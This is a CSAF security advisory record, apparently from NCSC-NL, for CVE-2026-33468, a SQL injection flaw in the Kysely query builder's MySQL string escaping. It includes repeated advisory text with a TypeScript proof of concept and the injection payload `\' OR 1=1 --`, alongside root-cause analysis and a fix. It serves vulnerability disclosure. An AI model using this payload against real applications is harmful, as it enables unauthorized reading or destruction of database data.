{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33468",
        "tracking": {
            "current_release_date": "2026-03-31T22:24:59.771720Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33468",
            "initial_release_date": "2026-03-20T21:41:03.018167Z",
            "revision_history": [
                {
                    "date": "2026-03-20T21:41:03.018167Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T21:41:06.291247Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-26T12:21:07.512276Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T12:21:14.687705Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T17:29:12.259951Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T17:29:15.603578Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T17:38:49.382257Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T20:38:59.601880Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-27T20:57:02.530006Z",
                    "number": "9",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-27T20:57:04.665813Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T07:58:08.017230Z",
                    "number": "11",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-31T22:24:48.637536Z",
                    "number": "12",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-31T22:24:58.645648Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "13"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.28.14",
                                "product": {
                                    "name": "vers:unknown/<0.28.14",
                                    "product_id": "CSAFPID-5969653",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:kysely:kysely:*:*:*:*:*:node.js:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "kysely"
                    }
                ],
                "category": "vendor",
                "name": "kysely"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.28.14",
                                "product": {
                                    "name": "vers:unknown/<0.28.14",
                                    "product_id": "CSAFPID-5918251"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<0.28.14",
                                "product": {
                                    "name": "vers:unknown/>=0|<0.28.14",
                                    "product_id": "CSAFPID-5917042"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "kysely"
                    }
                ],
                "category": "vendor",
                "name": "kysely-org"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33468",
            "cwe": {
                "id": "CWE-89",
                "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nKysely's `DefaultQueryCompiler.sanitizeStringLiteral()` only escapes single quotes by doubling them (`'` → `''`) but does not escape backslashes. When used with the MySQL dialect (where `NO_BACKSLASH_ESCAPES` is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses `ImmediateValueTransformer` to inline values — specifically `CreateIndexBuilder.where()` and `CreateViewBuilder.as()`.\n\n## Details\n\nThe root cause is in `DefaultQueryCompiler.sanitizeStringLiteral()`:\n\n**`src/query-compiler/default-query-compiler.ts:1819-1821`**\n```typescript\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"''\")\n}\n```\n\nWhere `LIT_WRAP_REGEX` is defined as `/'/g` (line 121). This only doubles single quotes — it does not escape backslash characters.\n\nThe function is called from `appendStringLiteral()` which wraps the sanitized value in single quotes:\n\n**`src/query-compiler/default-query-compiler.ts:1841-1845`**\n```typescript\nprotected appendStringLiteral(value: string): void {\n  this.append(\"'\")\n  this.append(this.sanitizeStringLiteral(value))\n  this.append(\"'\")\n}\n```\n\nThis is reached when `visitValue()` encounters an immediate value node (line 525-527), which is created by `ImmediateValueTransformer` used in `CreateIndexBuilder.where()`:\n\n**`src/schema/create-index-builder.ts:266-278`**\n```typescript\nwhere(...args: any[]): any {\n  const transformer = new ImmediateValueTransformer()\n\n  return new CreateIndexBuilder({\n    ...this.#props,\n    node: QueryNode.cloneWithWhere(\n      this.#props.node,\n      transformer.transformNode(\n        parseValueBinaryOperationOrExpression(args),\n        this.#props.queryId,\n      ),\n    ),\n  })\n}\n```\n\nThe `MysqlQueryCompiler` (at `src/dialect/mysql/mysql-query-compiler.ts:6-75`) extends `DefaultQueryCompiler` but does **not** override `sanitizeStringLiteral`, inheriting the backslash-unaware implementation.\n\n**Exploitation mechanism:**\n\nIn MySQL with the default `NO_BACKSLASH_ESCAPES=OFF` setting, the backslash character (`\\`) acts as an escape character inside string literals. Given input `\\' OR 1=1 --`:\n\n1. `sanitizeStringLiteral` doubles the quote: `\\'' OR 1=1 --`\n2. `appendStringLiteral` wraps: `'\\'' OR 1=1 --'`\n3. MySQL interprets `\\'` as an escaped (literal) single quote, so the string content is `'` and the second `'` closes the string\n4. ` OR 1=1 --` is parsed as SQL\n\n## PoC\n\n```typescript\nimport { Kysely, MysqlDialect } from 'kysely'\nimport { createPool } from 'mysql2'\n\ninterface Database {\n  orders: {\n    id: number\n    status: string\n    order_nr: string\n  }\n}\n\nconst db = new Kysely<Database>({\n  dialect: new MysqlDialect({\n    pool: createPool({\n      host: 'localhost',\n      database: 'test',\n      user: 'root',\n      password: 'password',\n    }),\n  }),\n})\n\n// Simulates user-controlled input reaching CreateIndexBuilder.where()\nconst userInput = \"\\\\' OR 1=1 --\"\n\nconst query = db.schema\n  .createIndex('orders_status_index')\n  .on('orders')\n  .column('status')\n  .where('status', '=', userInput)\n\n// Compile to see the generated SQL\nconst compiled = query.compile()\nconsole.log(compiled.sql)\n// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\\'' OR 1=1 --'\n//\n// MySQL parses this as:\n//   WHERE `status` = '\\'   ← string literal containing a single quote\n//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote\n```\n\nTo verify against a live MySQL instance:\n\n```sql\n-- Setup\nCREATE DATABASE test;\nUSE test;\nCREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));\nINSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');\n\n-- The compiled query from Kysely with injected payload:\n-- This returns all rows instead of filtering by status\nSELECT * FROM orders WHERE status = '\\'' OR 1=1 -- ';\n```\n\n## Impact\n\n- **SQL Injection:** An attacker who controls values passed to `CreateIndexBuilder.where()` or `CreateViewBuilder.as()` can inject arbitrary SQL statements when the application uses the MySQL dialect.\n- **Data Exfiltration:** Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.\n- **Data Modification/Destruction:** Stacked queries or subqueries can modify or delete data.\n- **Authentication Bypass:** If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.\n\nThe attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The `CreateIndexBuilder.where()` docstring (line 247) notes \"Parameters are always sent as literals due to database restrictions\" without warning about the security implications.\n\n## Recommended Fix\n\n`MysqlQueryCompiler` should override `sanitizeStringLiteral` to escape backslashes before doubling quotes:\n\n**`src/dialect/mysql/mysql-query-compiler.ts`**\n```typescript\nconst LIT_WRAP_REGEX = /'/g\nconst BACKSLASH_REGEX = /\\\\/g\n\nexport class MysqlQueryCompiler extends DefaultQueryCompiler {\n  // ... existing overrides ...\n\n  protected override sanitizeStringLiteral(value: string): string {\n    // Escape backslashes first (\\ → \\\\), then double single quotes (' → '')\n    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)\n    return value.replace(BACKSLASH_REGEX, '\\\\\\\\').replace(LIT_WRAP_REGEX, \"''\")\n  }\n}\n```\n\nAlternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.",
                    "title": "github - https://api.github.com/advisories/GHSA-8cpq-38p9-67gx"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nKysely's `DefaultQueryCompiler.sanitizeStringLiteral()` only escapes single quotes by doubling them (`'` → `''`) but does not escape backslashes. When used with the MySQL dialect (where `NO_BACKSLASH_ESCAPES` is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses `ImmediateValueTransformer` to inline values — specifically `CreateIndexBuilder.where()` and `CreateViewBuilder.as()`.\n\n## Details\n\nThe root cause is in `DefaultQueryCompiler.sanitizeStringLiteral()`:\n\n**`src/query-compiler/default-query-compiler.ts:1819-1821`**\n```typescript\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"''\")\n}\n```\n\nWhere `LIT_WRAP_REGEX` is defined as `/'/g` (line 121). This only doubles single quotes — it does not escape backslash characters.\n\nThe function is called from `appendStringLiteral()` which wraps the sanitized value in single quotes:\n\n**`src/query-compiler/default-query-compiler.ts:1841-1845`**\n```typescript\nprotected appendStringLiteral(value: string): void {\n  this.append(\"'\")\n  this.append(this.sanitizeStringLiteral(value))\n  this.append(\"'\")\n}\n```\n\nThis is reached when `visitValue()` encounters an immediate value node (line 525-527), which is created by `ImmediateValueTransformer` used in `CreateIndexBuilder.where()`:\n\n**`src/schema/create-index-builder.ts:266-278`**\n```typescript\nwhere(...args: any[]): any {\n  const transformer = new ImmediateValueTransformer()\n\n  return new CreateIndexBuilder({\n    ...this.#props,\n    node: QueryNode.cloneWithWhere(\n      this.#props.node,\n      transformer.transformNode(\n        parseValueBinaryOperationOrExpression(args),\n        this.#props.queryId,\n      ),\n    ),\n  })\n}\n```\n\nThe `MysqlQueryCompiler` (at `src/dialect/mysql/mysql-query-compiler.ts:6-75`) extends `DefaultQueryCompiler` but does **not** override `sanitizeStringLiteral`, inheriting the backslash-unaware implementation.\n\n**Exploitation mechanism:**\n\nIn MySQL with the default `NO_BACKSLASH_ESCAPES=OFF` setting, the backslash character (`\\`) acts as an escape character inside string literals. Given input `\\' OR 1=1 --`:\n\n1. `sanitizeStringLiteral` doubles the quote: `\\'' OR 1=1 --`\n2. `appendStringLiteral` wraps: `'\\'' OR 1=1 --'`\n3. MySQL interprets `\\'` as an escaped (literal) single quote, so the string content is `'` and the second `'` closes the string\n4. ` OR 1=1 --` is parsed as SQL\n\n## PoC\n\n```typescript\nimport { Kysely, MysqlDialect } from 'kysely'\nimport { createPool } from 'mysql2'\n\ninterface Database {\n  orders: {\n    id: number\n    status: string\n    order_nr: string\n  }\n}\n\nconst db = new Kysely<Database>({\n  dialect: new MysqlDialect({\n    pool: createPool({\n      host: 'localhost',\n      database: 'test',\n      user: 'root',\n      password: 'password',\n    }),\n  }),\n})\n\n// Simulates user-controlled input reaching CreateIndexBuilder.where()\nconst userInput = \"\\\\' OR 1=1 --\"\n\nconst query = db.schema\n  .createIndex('orders_status_index')\n  .on('orders')\n  .column('status')\n  .where('status', '=', userInput)\n\n// Compile to see the generated SQL\nconst compiled = query.compile()\nconsole.log(compiled.sql)\n// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\\'' OR 1=1 --'\n//\n// MySQL parses this as:\n//   WHERE `status` = '\\'   ← string literal containing a single quote\n//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote\n```\n\nTo verify against a live MySQL instance:\n\n```sql\n-- Setup\nCREATE DATABASE test;\nUSE test;\nCREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));\nINSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');\n\n-- The compiled query from Kysely with injected payload:\n-- This returns all rows instead of filtering by status\nSELECT * FROM orders WHERE status = '\\'' OR 1=1 -- ';\n```\n\n## Impact\n\n- **SQL Injection:** An attacker who controls values passed to `CreateIndexBuilder.where()` or `CreateViewBuilder.as()` can inject arbitrary SQL statements when the application uses the MySQL dialect.\n- **Data Exfiltration:** Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.\n- **Data Modification/Destruction:** Stacked queries or subqueries can modify or delete data.\n- **Authentication Bypass:** If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.\n\nThe attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The `CreateIndexBuilder.where()` docstring (line 247) notes \"Parameters are always sent as literals due to database restrictions\" without warning about the security implications.\n\n## Recommended Fix\n\n`MysqlQueryCompiler` should override `sanitizeStringLiteral` to escape backslashes before doubling quotes:\n\n**`src/dialect/mysql/mysql-query-compiler.ts`**\n```typescript\nconst LIT_WRAP_REGEX = /'/g\nconst BACKSLASH_REGEX = /\\\\/g\n\nexport class MysqlQueryCompiler extends DefaultQueryCompiler {\n  // ... existing overrides ...\n\n  protected override sanitizeStringLiteral(value: string): string {\n    // Escape backslashes first (\\ → \\\\), then double single quotes (' → '')\n    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)\n    return value.replace(BACKSLASH_REGEX, '\\\\\\\\').replace(LIT_WRAP_REGEX, \"''\")\n  }\n}\n```\n\nAlternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-8cpq-38p9-67gx.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's `DefaultQueryCompiler.sanitizeStringLiteral()` only escapes single quotes by doubling them (`'` → `''`) but does not escape backslashes. When used with the MySQL dialect (where `NO_BACKSLASH_ESCAPES` is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses `ImmediateValueTransformer` to inline values — specifically `CreateIndexBuilder.where()` and `CreateViewBuilder.as()`. Version 0.28.14 contains a fix.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33468"
                },
                {
                    "category": "description",
                    "text": "Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's `DefaultQueryCompiler.sanitizeStringLiteral()` only escapes single quotes by doubling them (`'` → `''`) but does not escape backslashes. When used with the MySQL dialect (where `NO_BACKSLASH_ESCAPES` is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses `ImmediateValueTransformer` to inline values — specifically `CreateIndexBuilder.where()` and `CreateViewBuilder.as()`. Version 0.28.14 contains a fix.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33468.json"
                },
                {
                    "category": "other",
                    "text": "0.00048",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5917042",
                    "CSAFPID-5918251",
                    "CSAFPID-5969653"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-8cpq-38p9-67gx"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-8cpq-38p9-67gx.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33468"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33468.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-8cpq-38p9-67gx"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-8cpq-38p9-67gx"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33468"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5917042",
                        "CSAFPID-5918251",
                        "CSAFPID-5969653"
                    ]
                }
            ],
            "title": "CVE-2026-33468"
        }
    ]
}